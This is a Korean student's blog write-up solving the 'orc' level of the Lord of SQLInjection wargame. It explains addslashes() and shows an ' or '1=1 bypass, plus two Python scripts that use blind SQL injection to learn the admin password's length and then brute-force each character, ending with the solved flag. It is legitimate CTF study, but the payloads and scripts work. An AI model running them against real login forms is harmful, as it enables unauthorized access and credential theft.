일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | |
7 | 8 | 9 | 10 | 11 | 12 | 13 |
14 | 15 | 16 | 17 | 18 | 19 | 20 |
21 | 22 | 23 | 24 | 25 | 26 | 27 |
28 | 29 | 30 |
- AjouUniv #Whois #정보보안교육 #Pwnable
- webhacking
- Whois #정보보안교육 #Ajou
- 코딩도장
- AjouUniv #SuniNatas #Web
- 운영체제
- Variable Partition
- AjouUniv #Whois #Reversing
- N0NamedWargame #mandu-mandu #forensics #left_side_B
- 아주대학교
- Memory Virtualization
- AjouUniv #Whois #정보보안교육
- SuNiNaTaS #mandu-mandu #AjouUniv #forensics
- 아주대학교 #Whois #정보보안교육 #4주차
- ftz
- N0NamedWargame #mandu-mandu #forensics #길에서주어온만두
- Dreamhack
- N0NamedWargame #AjouUniv #mandu-mandu #forensics
- Pwnable
- systemhacking
- Whois #AjouUniv #정보보안교육 #Pwnable
- hackerschool
- Whois #정보보안교육 #webhacking.kr
- N0Named
- 스케줄링
- Whois #정보보안교육 #AjouUniv #Pwnable
- python
- 사이버보안학과
- Allocation Starategy
- HackCTF
- Today
- Total
chipkkang9's story
[Lord of SQLInjection] orc 문제 Write-up 본문
문제소개

문제풀이
요즘 웹해킹을 공부하면서 가장 지배하고싶었던 부분인 SQL Injection이다.
문제를 풀면서 보니까 예전에 Whois 정보보안교육때 풀었던 3문제가 있었던 것을 기억해냈다.
혹시나, gremlin, cobolt, goblin에 대한 풀이가 궁금한 분들은 아래 링크를 타고가면 볼 수 있다.
https://shchip-kkang.tistory.com/17?category=974435
[Whois 정보보안교육] Lord of SQLInjection Review
whois 정보보안 교육 1주차의 마지막 과제로, 수업시간에 다뤘던 los.rubiya.kr에 있는 세 가지 문제를 정리하고, 어떻게 막을 수 있을지에 대해서 생각해보겠다. 우선, 들어가기에 앞서서 수업시간에
shchip-kkang.tistory.com
그럼 orc문제에 대한 생각을 적어보겠다.
이 문제에 대한 특이점은 addslashes() 함수인 것 같다.
addslashes()라는 함수는 데이터베이스의 질의 안에서 특정 문자 앞에 백슬래시를 붙이는 기능을 한다.
이때, 특정 문자는 따옴표(',"), 백슬래시(\), NUL(NULL)을 말한다.
간단한 예를 들어 I'm chipkkang. 이라는 문자열이 있다면,
addslashes(I'm chipkkang.) = I\'m chipkkang.
이 된다고 이해하면 된다.
addslashes() 함수의 존재의 이유는, '의 경우에
공격자에 의해 SQL Injection 공격이 발생될 수 있기 때문에
데이터베이스에 데이터를 저장할 때 백슬래시를 붙여 저장하고,
데이터를 웹에서 표시해 줄 때 백슬래시를 떼어 표시한다.
(이때는 백슬레시를 제거하주는 stripslashes() 함수를 사용한다.)
tmi) 이 문제에서는 전혀 관계가 없었다.
문제에서는 pw변수를 GET 메소드로 입력받고있다.
그리고 마지막 두 번째 줄을 보면
if((result['pw']) && (result['pw'] == $_GET['pw']))
을 통해 비교구문을 거친 후에 정답을 표시한다.
정확한 해석은 아니지만,
"pw로 입력해준 값과 과정들을 거친 후의 pw값이 같았으면 좋겠다."
이런 의미인 것 같다.
tmi) 이 문제에서는 전혀 관계가 없었다.22
그러면 우리는 pw 값을 알아내야만 한다.(Blind SQL Injection 문제이다.)
우선 무지성으로 pw에 공백을 넣어주고 or '1=1을 넣어보았다.

Hello admin이 예쁘게 출력되었다.
근데 admin인걸 알아도 해결했다고는 말을 안해주는게 좀 서운하다.
원래 계획대로 pw 값을 알아보자.
진짜 무작정 대입해보는 방식은 멋이 없으니까, 파이썬으로 페이로드를 작성해보자.
(파이썬에 대한 실력이 많이 부족해 아래 블로그를 참고했다.)
https://shin-1104.tistory.com/16
Lord of SQL injection 4번 문제(orc)
이번 문제는 admin의 비밀번호를 맞춰야 해결되는 문제인것 같다. 하나씩 값을 추측해서 넣으면 되는 것 같다. 이런 sql injection 공격은 blind sql injection으로 공격을 하면 된다. blind sql injection이란..
shin-1104.tistory.com
import requests
URL = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'
cookie = {'PHPSESSID': 'PHPSESSID 값 찾아서 넣어주기'}
response = requests.get(URL)
for i in range(100):
params = {'pw': '\'or length(pw)=' + str(i)+'#'}
res = requests.get(URL, params=params, cookies=cookie)
if "Hello admin" in res.text :
print(i)
break
뭔가 이상한 점이 있었다.
length(pw) = '숫자' 라는 코드는 pw의 길이를 알아보는 방법이다.
여러 write up을 보면 pw의 길이는 8이라는 것을 알 수 있었다.
그런데 나는 4에도 참이라고 나오고 8에도 참이라고 나왔다.
이유는... 아직도 모르겠다.
아무튼 8이라니까 pw가 8이라는 단서를 가지고 이어서 접근해보자.
pw는 8byte짜리 문자열이고, 모든 아스키코드로 표현될 수 있는 값일 것이기 때문에
우선 맨 앞의 한자리라도 알기 위해 쿼리문을 작성해보았다.
/?pw=' or substring(pw,1,1) = 0 %23의 형식으로 처음에 넣어보았다.
substring함수는,substring('문자열이름', '위치', '길이')의 형식으로

?? 바로 참이 나왔다.
음 운이 좋았다. 1, 2를 넣어보니 오류가 나왔다.
그럼 일단 포맷은 맞다는 소리니 익스플로잇 코드를 작성해보자.
import requests, string
URL = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'
cookie = {'PHPSESSID': 'PHPSESSID 값 찾아서 넣어주기'}
response = requests.get(URL)
ALPHANUMERIC = string.digits + string.ascii_letters
flag = ''
for i in range(1, 9):
for ch in range(48, 122):
params = {'pw': '\' or substr(pw,'+str(i)+',1)=char('+str(ch)+')#'}
res = requests.get(URL, params=params, cookies=cookie)
if "Hello admin" in res.text :
flag += chr(ch)
break
print(flag)
해당 코드를 실행시켜보니 아래의 결과를 얻을 수 있었다.

플래그 값으로는 095A9852가 나왔다.
url에 입력해줘보았다.

응..? 뭔가 이상하다.
알고보니 A가 대문자가 아니고 소문자로 입력해주어야하는 듯 하다.
(이유는 아직 잘 모르겠다.)

아무튼.. 풀었다...!
파이썬 코드가 아쉬운 부분이긴 하지만
그래도 내 논리는 맞았으니... 흠
더 열심히해야겠다.
'CTF > Web' 카테고리의 다른 글
[HackCTF] Hidden 문제 write-up (0) | 2022.02.09 |
---|---|
[HackCTF] / 문제 write-up (0) | 2022.02.09 |
[Lord of SQLInjection] wolfman, darkelf, orge 문제 write-up (0) | 2022.01.23 |
[Suninatas] 1번 문제풀이 (0) | 2021.10.28 |
[Whois 정보보안교육] Webhacking.kr 21번 (write-up) (0) | 2021.09.20 |